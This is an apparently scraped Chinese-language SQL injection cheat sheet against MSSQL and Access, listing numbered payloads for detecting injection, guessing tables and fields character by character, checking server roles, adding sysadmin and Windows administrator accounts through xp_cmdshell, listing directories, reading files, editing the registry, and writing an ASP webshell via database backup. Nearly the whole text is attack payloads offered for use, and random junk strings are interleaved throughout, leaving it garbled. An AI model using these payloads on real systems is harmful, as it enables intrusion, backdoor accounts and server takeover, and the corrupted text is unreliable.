1.判断是否有注入;and 1=1 ;and 1=2 .]r[0U
2.初步判断是否是mssql ;and user>0 M?}2
C,tlp
3.注入参数是字符'and [查询条件] and ''='
>kC@7h5)
eWwSD#N#
4.搜索时没过滤参数的'and [查询条件] and '%25'=' kdxs{b"t
>#!n"i;
5.判断数据库系统 OE4 2{?)
y;<jE.7>
;and (select count(*) from sysobjects)>0 mssql ]~ec]Y
?)]sfJG
;and (select count(*) from msysobjects)>0 access '?3Hy|}
3D<P
[.bS
2jx""{
!29
Rl`9
6.猜数据库 ;and (select Count(*) from [数据库名])>0 xFg=Tyq:
L?al2aopF
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 } k5pfz
ld9zOq
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
U,Z(h
O~qB
9.(1)猜字段的ascii值(access) s)]|zu0"Ku
5n(p1OM2q
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 _BR>- :Jr
s?0r\ cc|:
(2)猜字段的ascii值(mssql) QQC0uta`
cG"jrQ
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 "G`)x+<~Z8
vtL)
10.测试权限结构(mssql) )}paQmy#
Gc@ENE f
6 _73
PicO3m
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- UK_2i(I"e
@Chj0wWZ>
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- "B+M5B0Z
-$e\m]
}Z
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- !>>$'.nb@~
L
Q;JtLu1
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- .'X$SF`
E"V|Plf
c
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- [=V8
{`J7>K
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- \;P Bx &
-Ep-v4}
;and 1=(select IS_MEMBER('db_owner'));-- ?5/Sa
dX+DE(y
Q@d X2
yP-.8[;
11.添加mssql和系统的帐户 $]Fe9E?
jq}5(*k
;exec master.dbo.sp_addlogin username;-- #}k^g:l1
;exec master.dbo.sp_password null,username,password;-- >aa-ix
&
N|7._AR2
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;Vp&f%u+v
m4 4aKqw)
;exec master.dbo.xp_cmdshell 'net user username password E"u>&uPH
0D.YO<PU
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- (F_#LeJ|
snj+-'4T
;exec master.dbo.xp_cmdshell 'net user username password /add';-- \f
z&-3H/
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- @x{;a 9y
A>d*<#x
NINyg"g<
I}?fy\1A&
12.(1)遍历目录 -Tz/ZOJ
vLkZC
;create table dirs(paths varchar(100), id int) a<vCAFQ
-.z~u/uL
;insert dirs exec master.dbo.xp_dirtree 'c:\' `D?vmSQ
(a)d7y.oo
;and (select top 1 paths from dirs)>0 kyY tL_SD
;PLby]=O
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) -ud!j
x>Q#Bvy
2+ 9">a@
>L=l{F6
p
(2)遍历目录 Y|1kE;
2abWIw4
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- d_]MqH>R\
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 >nTGvLOq
l&T;G9z
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 n{UB^-}5
%Xp}d5-
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 F!SmCE(0x
gy* N)iv%
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 (( t8
t@!oc"z}@
{){i
ONd
8[zP2L!-
13.mssql中的存储过程 m3,]j\
A:;KU
xp_regenumvalues 注册表根键, 子键 &|gn%<^
Iy`Zh@"~
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 3 YRhqp"E
gv<9XYByt
xp_regread 根键,子键,键值名 x2K.5q>
hEEbH@b
;exec xp_regread *=r,V
'MsxZqW"~
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 4pA(.<#A
5GpRN
xp_regwrite 根键,子键, 值名, 值类型, 值 ]A!Gr(FHQ
|yQ3H)qB#
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 5N '
QG<jE
<$7*yV
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 c
t,p?[Q
>Wy@J]Y#
xp_regdeletevalue 根键,子键,值名 IURi90Ir
K4l,YR;r
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 t;E-9`N
+KD~/}C%-
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 u^V`Ucd"R
vp-)$f&
@gs
Kb*,
sFB; /*C
14.mssql的backup创建webshell HM--`RJ
$7PFos%@
use model f3*u_LO
#msk'MVt
create table cmd(str image); i}M&1E
PVV \@
insert into cmd(str) values (''); i' N
z!t&zkAK
backup database model to disk='c:\l.asp'; n; !t?jnf.
#nn2odR
)/f,.Z$
}4ta#T Ea
15.mssql内置函数 | F:?
)S>~ h;
;and (select @@version)>0 获得Windows的版本号 B4&x?-0ZC
_RjM .
;and user_name()='dbo' 判断当前系统的连接用户是不是sa [}d
3u!
I_Oa<J\+
;and (select user_name())>0 爆当前系统的连接用户 3LX<&."z
2<Ub[R
;and (select db_name())>0 得到当前连接的数据库 L42C<
2rD`]neA
f*kT7PJG
[O(78n$$
16.简洁的webshell }&;0:hw%
>*Y~I0>
use model .$S`J2Y
K+Ehj(eF
create table cmd(str image); d<: VoQM6M
{v~&.|
insert into cmd(str) values (''); 8ae]tX5$
\+S~N:@><k
backup database model to disk='g:\wwwtest\l.asp';